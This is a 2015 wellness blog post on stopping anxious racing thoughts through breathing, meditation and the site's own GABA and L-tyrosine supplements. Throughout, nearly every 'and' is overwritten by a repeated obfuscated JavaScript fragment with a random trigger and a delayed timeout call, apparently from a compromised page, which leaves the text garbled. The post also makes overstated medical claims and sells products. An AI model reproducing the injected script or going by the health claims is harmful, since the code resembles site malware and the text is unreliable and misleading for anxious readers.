How Do I Stop My Anxious Racing Brain?

Posted On : May 11, 2015

brainDo you feel like you have no control over the thoughts in your brain? When you put your head on the pillow at night, is your brain racing through all the things you have to  do or the problems you need to solve the next day? Do you wish you could slow down those thoughts? Good news! Research is now showing us that we have more control over our thoughts than we originally believed. The secret lies in your neurotransmitters.

What are neurotransmitters? They are chemicals that get secreted from one neuron to send information to another neuron (see picture above).  We have excitatory neurotransmitters, like norepinephrine, epinephrine, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dopamine that get our thoughts racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and focused. There are also inhibitory neurotransmitters, like serotonin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and GABA, that slow our thoughts down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make us feel more mellow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and laid back.

If you are finding that your brain is spinning out of control with worry, doubt, fear, anxiety, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and frustration there is a good chance that you have a neurotransmitter imbalance.

So what can you do? Here are some really easy steps you can take to release more GABA andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and serotonin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stop those swirling thoughts that are making you crazy.

478 Breathing Many of you have heard me sing the praises of this easy to do breathing technique. This is a proven method of releasing GABA into your system andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and calming yourself down. How it works is that you sit with your tongue at the roof of your mouth, close your eyes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breathe in through your nose for a count of four. Then, hold your breath for a count of 7, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhale through your mouth for a count of 8. If you repeat this 4-5 times, a euphoric mellow feeling will come over you. That’s a sure sign your body is secreting more GABA.

Supplement your way to sanity There are some very effective supplements that will help you stop the brain from racing. What you are looking for are GABA or L-tyrosine supplements. These are key ingredients in our Sleep & Mood supplement andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and our Adrenal Calm supplement. When you take these two ingredients before you go to bed, they will begin to slow down your racing thoughts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allow you to get into a deeper REM sleep.

Meditation A daily meditation practice can change your whole life. It seems so simple, yet so many people don’t train their brains to slow down. Thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of research studies have proven that mediation will balance your neurotransmitters andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bring back a sense of peace andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness to your life again. Think of meditation as push-ups for your brain. The more you practice them, the strong your sense of calm will be.